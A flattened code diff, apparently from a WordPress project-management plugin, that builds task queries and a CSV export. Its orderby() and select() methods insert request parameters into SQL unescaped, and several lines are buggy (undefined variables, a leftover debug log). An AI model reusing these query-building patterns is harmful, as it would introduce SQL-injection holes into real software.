$activities[$task_id][] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->activities['data'] = empty( $activities[$task->id] ) ? [] : $activities[$task->id]; - } - - return $this; - } - - private function include_default_meta() { - if ( empty( $this->task_ids ) ) { - return $this; - } - - global $wpdb; - - $metas = []; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $task_format = pm_get_prepare_format( $this->task_ids ); - $query_data = $this->task_ids; - - $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.entity_id as task_id - FROM $tb_meta - WHERE $tb_meta.entity_id IN ($task_format) - AND $tb_meta.entity_type = %s"; - - array_push( $query_data, 'task' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $task_id = $result->task_id; - unset( $result->task_id ); - $metas[$task_id][] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $filter_metas = empty( $metas[$task->id] ) ? [] : $metas[$task->id]; - foreach ( $filter_metas as $key => $filter_meta ) { - $meta_value = @unserialize( $filter_meta->meta_value ); - - if ($meta_value === false && $filter_meta->meta_value !== 'b:0;') { - $task->meta[$filter_meta->meta_key] = $filter_meta->meta_value; - } else { - $task->meta[$filter_meta->meta_key] = maybe_unserialize( $filter_meta->meta_value ); - } - } - } - - return $this; - } - - private function include_estimation_time() { - global $wpdb; - - if ( empty( $this->task_ids ) ) { - return $this; - } - - if ( pm_get_estimation_type() == 'task' ) { - - foreach ( $this->tasks as $key => $task ) { - $task->comparable_estimation = $task->estimation; - } - - return $this; - } - - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tk_ids_format = $this->get_prepare_format( $this->task_ids ); - $query_data = $this->task_ids; - - $query ="SELECT sum(estimation) as estimation, parent_id - FROM $tb_tasks - WHERE parent_id IN ( $tk_ids_format ) - GROUP BY parent_id"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - //$results = wp_list_pluck( $results, 'estimation', 'parent_id' ); - $estimations = []; - - - - foreach ( $results as $key => $result ) { - $parent_id = $result->parent_id; - unset( $result->parent_id ); - $estimations[$parent_id] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->comparable_estimation = empty( $estimations[$task->id] ) ? 0 : $estimations[$task->id]->estimation; - } - - return $this; - } - - private function include_task_order() { - global $wpdb; - // $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - // if ( ! is_array( $with ) ) { - // $with = explode( ',', str_replace(' ', '', $with ) ); - // } - - // if ( ! in_array( 'task_type', $with ) || empty( $this->task_ids ) ) { - // return $this; - // } - - if ( empty( $this->task_ids ) ) { - return $this; - } - - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tk_ids_format = $this->get_prepare_format( $this->task_ids ); - $query_data = $this->task_ids; - - $query = "SELECT DISTINCT bor.order, bor.boardable_id as task_id - FROM $tb_boardable as bor - where bor.boardable_id IN ($tk_ids_format) - AND bor.boardable_type=%s"; - - array_push( $query_data, 'task' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $orders = []; - - foreach ( $results as $key => $result ) { - $task_id = $result->task_id; - unset( $result->task_id ); - $orders[$task_id] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->order = empty( $orders[$task->id] ) ? 0 : intval( $orders[$task->id]->order ); - } - - return $this; - } - - private function include_subtasks() { - global $wpdb; - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'subtasks', $with ) || empty( $this->task_ids ) ) { - return $this; - } - - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tk_ids_format = $this->get_prepare_format( $this->task_ids ); - - $query = "SELECT DISTINCT * - FROM $tb_tasks - where parent_id IN ($tk_ids_format)"; - - - $results = $wpdb->get_results( $wpdb->prepare( $query, $this->task_ids ) ); - $subtasks = []; - - foreach ( $results as $key => $result ) { - $task_id = $result->parent_id; - unset( $result->task_id ); - $subtasks[$task_id][] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->subtasks = empty( $subtasks[$task->id] ) ? [] : $subtasks[$task->id]; - } - - return $this; - } - - private function include_task_type() { - - global $wpdb; - // $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - // if ( ! is_array( $with ) ) { - // $with = explode( ',', str_replace(' ', '', $with ) ); - // } - - // if ( ! in_array( 'task_type', $with ) || empty( $this->task_ids ) ) { - // return $this; - // } - - if ( empty( $this->task_ids ) ) { - return $this; - } - - $tb_task_types = pm_tb_prefix() . 'pm_task_types'; - $tb_task_type_task = pm_tb_prefix() . 'pm_task_type_task'; - $tk_ids_format = $this->get_prepare_format( $this->task_ids ); - - $query = "SELECT DISTINCT typ.id as type_id, typ.title, typ.description, tk.id as task_id - FROM $tb_task_types as typ - LEFT JOIN $tb_task_type_task as typt ON typ.id = typt.type_id - LEFT JOIN $this->tb_tasks as tk ON tk.id = typt.task_id - where tk.id IN ($tk_ids_format)"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, $this->task_ids ) ); - $types = []; - - foreach ( $results as $key => $result ) { - $task_id = $result->task_id; - $result->id = (int) $result->type_id; - - unset( $result->task_id ); - unset( $result->type_id ); - - $types[$task_id] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->type = empty( $types[$task->id] ) ? '' : (array) $types[$task->id]; - } - - return $this; - } - - /** - * Set project ssignees - * - * @return class object - */ - private function include_list() { - global $wpdb; - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'task_list', $with ) || empty( $this->task_ids ) ) { - return $this; - } - - $tb_list = pm_tb_prefix() . 'pm_boards'; - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tk_ids_format = $this->get_prepare_format( $this->task_ids ); - - $query = "SELECT DISTINCT bo.id as id, bo.title, tk.id as task_id - FROM $tb_list as bo - LEFT JOIN $tb_boardable as bor ON bor.board_id = bo.id - LEFT JOIN $this->tb_tasks as tk ON tk.id = bor.boardable_id - where tk.id IN ($tk_ids_format)"; - - $results = $wpdb->get_results( $wpdb->prepare( $query, $this->task_ids ) ); - $lists = []; - - foreach ( $results as $key => $result ) { - $task_id = $result->task_id; - unset( $result->task_id ); - $lists[$task_id] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->task_list = empty( $lists[$task->id] ) ? ['data' => []] : [ 'data' => $lists[$task->id] ]; - } - - return $this; - } - - /** - * Set project ssignees - * - * @return class object - */ - private function include_project() { - global $wpdb; - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - $with = pm_get_prepare_data( $with ); - - if ( empty( $this->task_ids ) ) { - return $this; - } - - $tb_project = pm_tb_prefix() . 'pm_projects'; - $tk_ids_format = $this->get_prepare_format( $this->task_ids ); - - $query = "SELECT DISTINCT pr.id as project_id, pr.title, tk.id as task_id - FROM $tb_project as pr - LEFT JOIN $this->tb_tasks as tk ON tk.project_id = pr.id - where tk.id IN ($tk_ids_format)"; - - - $results = $wpdb->get_results( $wpdb->prepare( $query, $this->task_ids ) ); - $projects = []; - - foreach ( $results as $key => $result ) { - $task_id = $result->task_id; - unset( $result->task_id ); - $projects[$task_id] = $result; - } - - if ( in_array( 'project', $with ) ) { - - $pjs_by_id = []; - $project_ids = wp_list_pluck( $results, 'project_id' ); - $db_projects = pm_get_projects( [ 'id' => array_unique( $project_ids ) ] ); - - foreach ( $db_projects['data'] as $key => $db_project ) { - $pjs_by_id[$db_project['id']] = $db_project; - } - - - foreach ( $this->tasks as $key => $task ) { - $task->project = empty( $pjs_by_id[$task->project_id] ) ? ['data' => []] : [ 'data' => $pjs_by_id[$task->project_id] ]; - } - } - - foreach ( $this->tasks as $key => $task ) { - $task->project_title = empty( $projects[$task->id] ) ? '' : $projects[$task->id]->title; - } - - return $this; - } - - private function include_assignees() { - global $wpdb; - // $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - // if ( ! is_array( $with ) ) { - // $with = explode( ',', $with ); - // } - - // if ( ! in_array( 'assignees', $with ) || empty( $this->task_ids ) ) { - // return $this; - // } - - if ( empty( $this->task_ids ) ) { - return $this; - } - - $tb_assignees = pm_tb_prefix() . 'pm_assignees'; - $tb_users = $wpdb->base_prefix . 'users'; - $tb_user_meta = $wpdb->base_prefix . 'usermeta'; - $task_format = pm_get_prepare_format( $this->task_ids ); - $query_data = $this->task_ids; - - if ( is_multisite() ) { - $meta_key = pm_user_meta_key(); - - $query = "SELECT DISTINCT usr.ID as id, usr.display_name, usr.user_email as email, asin.project_id, asin.role_id - FROM $tb_users as usr - LEFT JOIN $tb_assignees as asin ON usr.ID = asin.user_id - LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = usr.ID - where asin.project_id IN ($project_format) - AND umeta.meta_key='$meta_key'"; - } else { - $query = "SELECT DISTINCT usr.ID as id, usr.display_name, usr.user_email as email, asin.task_id - FROM $tb_users as usr - LEFT JOIN $tb_assignees as asin ON usr.ID = asin.assigned_to - where asin.task_id IN ($task_format)"; - } - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $task_id = $result->task_id; - unset( $result->task_id ); - - $result->avatar_url = get_avatar_url( $result->id ); - - $users[$task_id][] = $result; - } - - foreach ( $this->tasks as $key => $task ) { - $task->assignees['data'] = empty( $users[$task->id] ) ? [] : $users[$task->id]; - } - - return $this; - } - - private function include_total_comments() { - global $wpdb; - // $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - // if ( ! is_array( $with ) ) { - // $with = explode( ',', str_replace(' ', '', $with ) ); - // } - - // if ( ! in_array( 'total_comments', $with ) || empty( $this->task_ids ) ) { - // return $this; - // } - - if ( empty( $this->task_ids ) ) { - return $this; - } - - $metas = []; - $tb_pm_comments = pm_tb_prefix() . 'pm_comments'; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $task_format = pm_get_prepare_format( $this->task_ids ); - $query_data = $this->task_ids; - - $query ="SELECT DISTINCT count($tb_pm_comments.id) as comment_count, - $tb_tasks.id as task_id - FROM $tb_pm_comments - LEFT JOIN $tb_tasks ON $tb_tasks.id = $tb_pm_comments.commentable_id - WHERE $tb_tasks.id IN ($task_format) - AND $tb_pm_comments.commentable_type = %s - group by $tb_tasks.id - "; - - array_push( $query_data, 'task' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $task_id = $result->task_id; - unset($result->task_id); - $metas[$task_id] = $result->comment_count; - } - - foreach ( $this->tasks as $key => $task ) { - $task->total_comments = empty( $metas[$task->id] ) ? 0 : $metas[$task->id]; - } - - return $this; - } - - private function include_total_files() { - global $wpdb; - - if ( empty( $this->task_ids ) ) { - return $this; - } - - $tb_pm_files = pm_tb_prefix() . 'pm_files'; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - - $task_format = pm_get_prepare_format( $this->task_ids ); - $query_data = $this->task_ids; - - $query = "SELECT DISTINCT count(fl.id) as count, fl.fileable_id as task_id - from $tb_pm_files as fl - where fl.fileable_id IN ($task_format) - AND fl.fileable_type = %s - group by fl.fileable_id"; - - array_push( $query_data, 'task' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - - foreach ( $results as $key => $result ) { - $task_id = $result->task_id; - unset($result->task_id); - $metas[$task_id] = (int) $result->count; - } - - foreach ( $this->tasks as $key => $task ) { - $task->total_files = empty( $metas[$task->id] ) ? 0 : $metas[$task->id]; - } - - return $this; - - } - - /** - * Choose table select item - * - * @param string $tb - * @param string $key - * - * @return string - */ - private function get_selectable_items( $tb, $key ) { - $select = ''; - $select_items = $this->query_params[$key]; - - if ( empty( $select_items ) ) { - $select = $tb . '.*'; - } - - $select_items = str_replace( ' ', '', $select_items ); - $select_items = explode( ',', $select_items ); - - foreach ( $select_items as $key => $item ) { - $select .= $tb . '.' . $item . ','; - } - - return substr( $select, 0, -1 ); - } - - private function select() { - $select = ''; - - if ( empty( $this->query_params['select'] ) ) { - $this->select = $this->tb_tasks . '.*'; - - return $this; - } - - $select_items = $this->query_params['select']; - - if ( ! is_array( $select_items ) ) { - $select_items = str_replace( ' ', '', $select_items ); - $select_items = explode( ',', $select_items ); - } - - foreach ( $select_items as $key => $item ) { - $item = str_replace( ' ', '', $item ); - $select .= $this->tb_tasks . '.' . $item . ','; - } - - $this->select = substr( $select, 0, -1 ); - - return $this; - } - - private function join() { - - $this->join = apply_filters( 'pm_task_join', $this->join ); - - return $this; - } - - /** - * Set task where condition - * - * @return class object - */ - private function where() { - - $this->where_id() - ->where_title() - ->where_status() - ->where_start_at() - ->where_due_date() - ->where_completed_at() - ->where_project_id() - ->where_users() - ->where_lists() - ->where_milestone() - ->where_recurrent(); - - $this->where = apply_filters( 'pm_task_where', $this->where, $this->user_id ); - - return $this; - } - - public function get_prepare_format( $ids, $is_string = false ) { - - - $ids = $this->get_prepare_data( $ids ); - - // how many entries will we select? - $how_many = count( $ids ); - - // prepare the right amount of placeholders - // if you're looing for strings, use '%s' instead - if( $is_string ) { - $placeholders = array_fill( 0, $how_many, '%s' ); - } else { - $placeholders = array_fill( 0, $how_many, '%d' ); - } - - // glue together all the placeholders... - // $format = '%d, %d, %d, %d, %d, [...]' - $format = implode( ', ', $placeholders ); - - return $format; - } - - public function get_prepare_data( $args, $delimiter = ',' ) { - - $new = []; - - if ( is_array( $args ) ) { - foreach ( $args as $date_key => $value ) { - $new[trim($date_key)] = trim( $value ); - } - } - - if ( ! is_array( $args ) ) { - $args = explode( $delimiter, $args ); - - foreach ( $args as $date_key => $value ) { - $new[trim($date_key)] = trim( $value ); - } - } - - return $new; - } - - public function where_lists() { - $lists = isset( $this->query_params['lists'] ) ? $this->query_params['lists'] : false; - - if ( empty( $lists ) ) { - return $this; - } - - $format = $this->get_prepare_format( $lists ); - $lists = $this->get_prepare_data( $lists ); - - global $wpdb; - - $this->where .= $wpdb->prepare( " AND list.id IN ($format)", $lists ); - - return $this; - } - - private function where_users() { - $users = isset( $this->query_params['users'] ) ? $this->query_params['users'] : false; - $is_user_null = false; - - if ( empty( $users ) ) { - return $this; - } - - if ( is_null( $users ) || $users == 'null' ) { - $users = 0; - $is_user_null = true; - } - - $format = $this->get_prepare_format( $users ); - $users = $this->get_prepare_data( $users ); - - global $wpdb; - $tb_asin = pm_tb_prefix() . 'pm_assignees'; - - if ( $is_user_null ) { - $this->join .= " LEFT JOIN {$tb_asin} ON $tb_asin.task_id={$this->tb_tasks}.id"; - $this->where .= $wpdb->prepare( " AND ( $tb_asin.assigned_to IN ($format) OR $tb_asin.assigned_to is null ) ) ", $users ); - } else { - $this->join .= " LEFT JOIN {$tb_asin} ON $tb_asin.task_id={$this->tb_tasks}.id"; - $this->where .= $wpdb->prepare( " AND $tb_asin.assigned_to IN ($format)", $users ); - } - - return $this; - } - - private function where_milestone() { - if ( !isset( $this->query_params['milestone'] ) ) { - return $this; - } - - global $wpdb; - - $milestone = $this->query_params['milestone']; - $tb_milestone = pm_tb_prefix() . 'pm_boards'; - $tb_boardables = pm_tb_prefix() . 'pm_boardables'; - - if ( empty( $milestone ) ) { - $data_milestone = $wpdb->get_results( $wpdb->prepare( "SELECT id FROM {$tb_milestone} WHERE %d=%d AND type='milestone'", 1, 1 ) ); - $milestone_ids = wp_list_pluck( $data_milestone, 'id' ); - - } else { - $milestone_ids = pm_get_prepare_data( $milestone ); - } - - $milestone_ids = empty( $milestone_ids ) ? [-1] : $milestone_ids; - - $format = pm_get_prepare_format( $milestone_ids ); - $format_data = array_merge( $milestone_ids, ['milestone', 'task_list'] ); - - $milestone_lists = $wpdb->get_results( - $wpdb->prepare( "SELECT boardable_id as list_id - FROM {$tb_boardables} - WHERE board_id IN ($format) - - AND board_type=%s - AND boardable_type=%s", - - $format_data - ) - ); - - $list_ids = wp_list_pluck( $milestone_lists, 'list_id' ); - $list_ids = empty( $list_ids ) ? [-1] : $list_ids; - $format = pm_get_prepare_format( $list_ids ); - - $this->where .= $wpdb->prepare( " AND list.id IN ($format)", $list_ids ); - - return $this; - } - - private function where_project_id() { - $project_id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; - - if ( empty( $project_id ) ) { - return $this; - } - - global $wpdb; - $format = $this->get_prepare_format( $project_id ); - $project_id = $this->get_prepare_data( $project_id ); - - $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.project_id IN ($format)", $project_id ); - - return $this; - } - - private function where_start_at() { - - if ( - empty( pm_get_setting( 'task_start_field' ) ) - || - pm_get_setting( 'task_start_field' ) == 'false' - ) { - return $this; - } - - $start_at = !empty( $this->query_params['start_at'] ) ? $this->query_params['start_at'] : false; - $ope_params = !empty( $this->query_params['start_at_operator'] ) ? $this->query_params['start_at_operator'] : false; - $ope_params = $this->get_prepare_data( $ope_params ); - - if ( $start_at === false ) { - return $this; - } - - if ( empty( $ope_params ) ) { - return $this; - } - - global $wpdb; - - $q = []; - - $keys = array_keys( $ope_params ); - $last_key = end( $keys ); - - foreach ( $ope_params as $key => $ope_param ) { - $explode = explode( '|', str_replace( ' ', '', $ope_param ) ); - $operator = $this->get_operator( $explode[0] ); - - if ( empty( $operator ) ) { - continue; - } - - if ( ! empty( $explode[1] ) ) { - $relation = $explode[1]; - } else { - $relation = 'AND'; - } - - if ( $last_key == $key ) { - $relation = ''; - } - - - $start_at = date( 'Y-m-d', strtotime( $start_at ) ); - - if( $explode[0] == 'null' || $explode[0] == 'empty' ) { - $q[] = "({$this->tb_tasks}.start_at $operator) $relation"; - } else { - $q[] = $wpdb->prepare( " - ( {$this->tb_tasks}.start_at $operator %s ) - OR - ( {$this->tb_tasks}.start_at is null AND {$this->tb_tasks}.created_at $operator %s ) ", - $start_at, $start_at - ) .' '. $relation; - } - } - - $q = implode( ' ', $q ); - - if ( ! empty( $q ) ) { - $this->where .= " AND ( $q ) "; - } - - return $this; - } - - function explode( $data, $delimiter ) { - - if ( is_array( $data ) ) { - return $data; - } - - $data = explode( $delimiter, $data ); - } - - private function where_completed_at() { - global $wpdb; - - $completed_at = !empty( $this->query_params['completed_at'] ) ? $this->query_params['completed_at'] : false; - $completed_at_start = !empty( $this->query_params['completed_at_start'] ) ? $this->query_params['completed_at_start'] : false; - $completed_at_between = !isset( $this->query_params['completed_at_between'] ) ? true : pm_is_true( $this->query_params['completed_at_between'] ); - $ope_params = !empty( $this->query_params['completed_at_operator'] ) ? $this->query_params['completed_at_operator'] : false; - $ope_params = pm_get_prepare_data( $ope_params ); - - if ( empty( $ope_params ) ) { - if ( empty( $completed_at ) ) { - return $this; - } - } - - if ( $completed_at_start ) { - $com_start_reduce = date('Y-m-d', strtotime ( $completed_at_start) ); - $com_add = date('Y-m-d', strtotime ( $completed_at) ); - } - - //If its contain between condition - if ( $completed_at_start ) { - - if ( $completed_at_between ) { - $query = $wpdb->prepare( " DATE({$this->tb_tasks}.completed_at) BETWEEN %s AND %s ", $com_start_reduce, $com_add ); - } else { - $query = $wpdb->prepare( " DATE({$this->tb_tasks}.completed_at) NOT BETWEEN %s AND %s ", $com_start_reduce, $com_add ); - } - - $this->where .= " AND ( $query ) "; - - return $this; - } - //close between condition - - $q = []; - - $keys = array_keys( $ope_params ); - $last_key = end( $keys ); - - foreach ( $ope_params as $key => $ope_param ) { - $explode = explode( '|', str_replace( ' ', '', $ope_param ) ); - - if ( ! empty( $explode[1] ) ) { - $relation = $explode[1]; - } else { - $relation = 'AND'; - } - - if ( $last_key == $key ) { - $relation = ''; - } - - $operator = $this->get_operator( $explode[0] ); - $completed_at = date( 'Y-m-d', strtotime( $completed_at ) ); - - if( $explode[0] == 'null' || $explode[0] == 'empty' ) { - - $due_q = "{$this->tb_tasks}.completed_at $operator"; - - $q[] = "($due_q) {$relation}"; - } else { - - $due_q = $wpdb->prepare( " {$this->tb_tasks}.completed_at $operator %s", $completed_at ); - - $q[] = " ( {$due_q} ) {$relation} "; - } - } - - $q = implode( ' ', $q ); - - if ( ! empty( $q ) ) { - $this->where .= " AND ( $q ) "; - } - - return $this; - } - - private function where_due_date() { - global $wpdb; - - $due_date = !empty( $this->query_params['due_date'] ) ? $this->query_params['due_date'] : false; - $due_date_start = !empty( $this->query_params['due_date_start'] ) ? $this->query_params['due_date_start'] : false; - $due_date_between = !isset( $this->query_params['due_date_between'] ) ? true : pm_is_true( $this->query_params['due_date_between'] ); - $ope_params = !empty( $this->query_params['due_date_operator'] ) ? $this->query_params['due_date_operator'] : false; - $ope_params = pm_get_prepare_data( $ope_params ); - - if ( empty( $due_date ) ) { - return $this; - } - - if ( $due_date_start ) { - $due_start_reduce = date('Y-m-d', strtotime ( $due_date_start) ); - $due_add = date('Y-m-d', strtotime ( $due_date ) ); - } - - //If its contain between condition - if ( $due_date_start ) { - - if ( $due_date_between ) { - $query = $wpdb->prepare( " DATE({$this->tb_tasks}.due_date) BETWEEN %s AND %s ", $due_start_reduce, $due_add ); - } else { - $query = $wpdb->prepare( " DATE({$this->tb_tasks}.due_date) NOT BETWEEN %s AND %s ", $due_start_reduce, $due_add ); - } - - $this->where .= " AND ( $query ) "; - - return $this; - } - //close between condition - - $q = []; - - $keys = array_keys( $ope_params ); - $last_key = end( $keys ); - - foreach ( $ope_params as $key => $ope_param ) { - $explode = explode( '|', str_replace( ' ', '', $ope_param ) ); - - if ( ! empty( $explode[1] ) ) { - $relation = $explode[1]; - } else { - $relation = 'AND'; - } - - if ( $last_key == $key ) { - $relation = ''; - } - - $operator = $this->get_operator( $explode[0] ); - $due_date = date( 'Y-m-d', strtotime( $due_date ) ); - - if ( $operator !== "= ''" ) { - if( $explode[0] == 'null' || $explode[0] == 'empty' ) { - $due_q = "{$this->tb_tasks}.due_date $operator"; - - $q[] = "($due_q) $relation"; - } else { - $due_q = $wpdb->prepare( " {$this->tb_tasks}.due_date $operator %s", $due_date ); - - $q[] = " ( {$due_q} ) {$relation} "; - } - } - } - - $q = implode( ' ', $q ); - $q = substr( $q, 0, -2 ); // Remove `or` text from last sql string - - if ( ! empty( $q ) ) { - $this->where .= " AND ( $q ) "; - } - - return $this; - } - - private function get_operator( $param ) { - - $default = [ - 'less_than' => '<', - 'less_than_equal' => '<=', - 'greater_than' => '>', - 'greater_than_equal' => '>=', - 'null' => 'is null', - 'empty' => "= ''", - ]; - - return empty( $default[$param] ) ? '' : $default[$param]; - } - - /** - * Filter task by ID - * - * @return class object - */ - private function where_id() { - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - global $wpdb; - $format = $this->get_prepare_format( $id ); - $format_ids = $this->get_prepare_data( $id ); - - $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.id IN ($format)", $format_ids ); - - return $this; - } - - /** - * Filter task by recurrent - * - * @return class object - */ - private function where_recurrent() { - $recurrent = isset( $this->query_params['recurrent'] ) ? $this->query_params['recurrent'] : false; - - if ( empty( $recurrent ) ) { - return $this; - } - - global $wpdb; - $format = $this->get_prepare_format( $recurrent ); - $format_recurrents = $this->get_prepare_data( $recurrent ); - - $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.recurrent IN ($format)", $format_recurrents ); - - return $this; - } - - /** - * Filter porject by status - * - * @return class object - */ - private function where_status() { - $status = isset( $this->query_params['status'] ) ? $this->query_params['status'] : false; - - if ( $status === false ) { - return $this; - } - - global $wpdb; - - $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.status=%s", $status ); - - return $this; - } - - /** - * Filter task by title - * - * @return class object - */ - private function where_title() { - $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; - - if ( empty( $title ) ) { - return $this; - } - - global $wpdb; - - $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.title LIKE %s", '%' . $title . '%' ); - - return $this; - } - - /** - * Generate task query limit - * - * @return class object - */ - private function limit() { - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - global $wpdb; - - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - /** - * Get offset - * - * @return int - */ - private function get_offset() { - $page = isset( $this->query_params['pages'] ) ? $this->query_params['pages'] : false; - - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - /** - * Get the number for tasks per page - * - * @return class instance - */ - private function get_per_page() { - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return (int) $per_page; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( in_array( 'incomplete_tasks_per_page', $with ) ) { - $per_page = pm_get_setting( 'incomplete_tasks_per_page' ); - } - - if ( in_array( 'complete_tasks_per_page', $with ) ) { - $per_page = pm_get_setting( 'complete_tasks_per_page' ); - } - - return empty( $per_page ) ? 10 : (int) $per_page; - } - - /** - * Execute the tasks query - * - * @return class instance - */ - private function get() { - global $wpdb; - - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - $boardable = pm_tb_prefix() . 'pm_boardables'; - $tasks = []; - - $query = $wpdb->prepare( "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_tasks}.*, - list.id as task_list_id, - list.title as task_list_title - - FROM {$this->tb_tasks} - - Left join $boardable as boardable ON boardable.boardable_id = {$this->tb_tasks}.id - Left join {$this->tb_lists} as list ON list.id = boardable.board_id - - {$this->join} - - WHERE %d=%d {$this->where} - - AND boardable.board_type=%s - AND boardable.boardable_type=%s - - {$this->orderby} - - {$this->limit}", - - 1, 1, 'task_list', 'task' - ); - //echo $query; die(); - $results = $wpdb->get_results( $query ); - - // If task has not boardable_id mean no list - foreach ( $results as $key => $result ) { - if( empty( $result->task_list_id ) ) { - continue; - } - - $tasks[] = $result; - } - - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - - $this->tasks = $tasks; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->task_ids = wp_list_pluck( $results, 'id' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->task_ids = [$results->id]; - } - - return $this; - } - - private function orderby() { - global $wpdb; - - $tb_pj = $wpdb->prefix . 'pm_tasks'; - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false && !is_array( $odr_prms ) ) { - $this->orderby = ' ORDER BY boardable.order DESC'; - - return $this; - } - - $orders = []; - - $odr_prms = str_replace( ' ', '', $odr_prms ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $orderStr ) { - $orderStr = str_replace( ' ', '', $orderStr ); - $orderStr = explode( ':', $orderStr ); - - $orderby = $orderStr[0]; - $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; - - $orders[$orderby] = $order; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $tb_pj .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY " . implode( ', ', $order); - - return $this; - } - - /** - * Set table name as class object - */ - private function set_table_name() { - $this->tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $this->tb_lists = pm_tb_prefix() . 'pm_boards'; - $this->tb_projects = pm_tb_prefix() . 'pm_projects'; - } -} +set_table_name(); + $this->set_login_user(); + } + + private function set_login_user() { + + $this->user_id = empty( $this->query_params['login_user'] ) ? + get_current_user_id() : (int) $user_id; + } + + /** + * AJAX Get tasks + * + * @param array $request + * + * @return Object + */ + public static function get_tasks( WP_REST_Request $request ) { + $self = self::getInstance(); + $tasks = self::get_results( $request->get_params() ); + + wp_send_json( $tasks ); + } + + + /** + * AJAX Get tasks Csv + * + * @param array $request + * + */ + public static function get_taskscsv( WP_REST_Request $request ) { + $self = self::getInstance(); + $tasks = self::get_results( $request->get_params() ); + header('Content-Type: text/csv; charset=utf-8'); + header('Content-Disposition: attachment; filename=data.csv'); + $output = fopen("php://output", "w"); + + fputcsv( $output, [__('Tasks', 'pm-pro' ), __( 'Task List', 'pm-pro' ), __( 'Project Name', 'pm-pro' ), + __('Due Date', 'pm-pro'),__( 'Created At', 'pm-pro' ) + ] ); + + foreach ( $tasks['data'] as $key => $result ) { + error_log(print_r($result,true)); + fputcsv( $output, + [ + $result['title'], $result['task_list']->title, $result['project']->title,$result['due_date'], + $result['created_at'], + ] + ); + } + + fclose($output); + exit(); + } + + /** + * Get tasks + * + * @param array $params + * + * @return array + */ + public static function get_results( $params ) { + $self = self::getInstance(); + $self->query_params = $params; + + $self->select() + ->join() + ->where() + ->limit() + ->orderby() + ->get() + ->with(); + + $response = $self->format_tasks( $self->tasks ); + + if ( pm_is_single_query( $params ) ) { + return ['data' => $response['data'][0]] ; + } + + return $response; + } + + /** + * Format tasks data + * + * @param array $tasks + * + * @return array + */ + public function format_tasks( $tasks ) { + + $response = [ + 'data' => [], + 'meta' => [] + ]; + + // if ( ! is_array( $tasks ) ) { + // $response['data'] = $this->fromat_task( $tasks ); + // $response['meta'] = $this->set_meta(); + // return $response; + // } + + foreach ( $tasks as $key => $task ) { + $tasks[$key] = $this->fromat_task( $task ); + } + + $response['data'] = $tasks; + $response['meta'] = $this->set_meta(); + + return $response; + } + + /** + * Set meta data + */ + private function set_meta() { + return [ + 'total_tasks' => (int) $this->found_rows, + 'total_page' => ceil( 